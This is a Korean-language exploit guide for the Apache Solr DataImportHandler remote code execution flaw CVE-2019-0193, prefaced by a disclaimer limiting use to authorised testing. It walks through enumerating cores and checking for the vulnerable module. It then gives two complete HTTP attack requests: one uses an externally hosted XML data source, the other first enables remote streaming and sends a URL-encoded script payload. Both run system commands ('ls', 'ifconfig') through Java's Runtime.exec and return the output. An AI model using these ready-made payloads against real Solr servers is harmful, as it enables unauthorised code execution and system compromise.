
Apache Solr 원격 코드 실행 취약점(CVE-2019-0193) Exploit
여기에 제공된 취약점 탐지 방법, 파일 등은 보안 실무자가 법적 승인을 받은 경우에만 사용해야 하며, 목적은 승인된 서버의 보안을 테스트하는 것입니다. 보안 실무자는 법률을 준수해야 하며, 승인 없이 취약점 테스트를 수행해서는 안 됩니다.
취약점 분석 - Apache Solr 원격 코드 실행 취약점(CVE-2019-0193) - 선지 커뮤니티
이론적으로 다양한 유형의 데이터 소스를 사용하여 Exploit을 구성할 수 있습니다.
Exploit1은 URLDataSource 유형의 데이터 소스를 사용합니다.
Exploit2는 ContentStreamDataSource 유형의 데이터 소스를 사용합니다.
Exploit1은 URLDataSource 유형의 데이터 소스를 사용합니다.
장점: 결과가 반환되며, Solr 저버전 탐지 지원
단점: 외부 네트워크 연결 필요
URLDataSource 유형의 데이터 소스 구성 (Solr 서버가 이 데이터 소스에 접근합니다!) 직접 사용 가능
https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml
demo.xml 문서는 URLDataSource 유형의 데이터 소스로, 무해한 정상 XML 문서입니다.
문서에는 item 요소가 하나만 있어 명령이 한 번만 실행되도록 합니다.
또는 직접 웹 서버를 시작하여 demo.xml 문서를 호스팅할 수 있습니다. 명령어: live-server --port=5555 → 주소: http://127.0.0.1:5555/demo.xml
Solr의 모든 인덱스 라이브러리(core) 이름 가져오기
http://{xx.com:80}/solr/admin/cores
HTTP 응답 JSON 데이터에 모든 인덱스 라이브러리(core) 이름이 포함됨
"name":"xxxx"
해당 인덱스 라이브러리가 DataImportHandler 모듈을 사용하는지 확인
방법 1
접속
http://{xx.com:80}/solr/{core_name}/admin/mbeans?cat=QUERY&wt=json
DataImportHandler 모듈을 사용하는 경우 HTTP 응답에 다음 포함:
org.apache.solr.handler.dataimport.DataImportHandler
그렇지 않으면 DataImportHandler 모듈을 사용하지 않는 것임 (취약점 영향 없음)
방법 2
접속
http://{xx.com:80}/solr/#/{core_name}/dataimport
이 Solr 서버가 dataimport-handler 모듈을 사용하지 않는 경우(취약점 영향 없음), HTTP 응답에 다음과 같은 메시지 표시:
sorry, no dataimport-handler defined!
그렇지 않으면 DataImportHandler 모듈을 사용하는 것임 (취약점 영향 있음)
명령 실행 후 HTTP 응답에 결과 반환, 여러 줄 결과 지원 (각 줄은 \n\r로 끝남)
참고: 아래 요청 URL의 문자열 "tika"를 인덱스 라이브러리 이름으로 바꿔야 함
POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1231
Connection: close
command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}
]]></script>
<document>
<entity name="entity1"
url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
processor="XPathEntityProcessor"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>
Exploit2는 ContentStreamDataSource 유형의 데이터 소스를 사용합니다.
장점: 결과 반환, 외부 네트워크 연결 불필요
단점: 저버전 탐지 불가 - POST 요청으로 configoverlay.json 파일 설정 변경이 실패하기 때문
1단계 생략
2-3단계는 위와 동일
이 단계는 configoverlay.json 파일의 설정을 변경하여 원격 스트림 관련 옵션 .enableStreamBody, .enableRemoteStreaming을 활성화하기 위함
"tika"를 인덱스 라이브러리 이름으로 변경
POST /solr/tika/config HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-type:application/json
Content-Length: 159
Connection: close
{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}
응답 200이면 성공 (실제 테스트: 8.1에서 성공)
응답 500이면 실패 (실제 테스트: 일부 저버전에서 실패)
요청 전송, 시스템 명령 ifconfig 실행 및 결과 반환 (전체 과정에서 외부 연결 없음)
POST /solr/tika/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%66%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-Length: 212
content-type: multipart/form-data; boundary=------------------------aceb88c2159f183f
--------------------------aceb88c2159f183f
Content-Disposition: form-data; name="stream.body"
<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>
--------------------------aceb88c2159f183f--
참고: dataConfig 값은 URL 인코딩 전에 다음 문자열입니다.
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ifconfig").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}
]]></script>
<document>
<entity
stream="true"
name="entity1"
datasource="streamsrc1"
processor="XPathEntityProcessor"
rootEntity="true"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>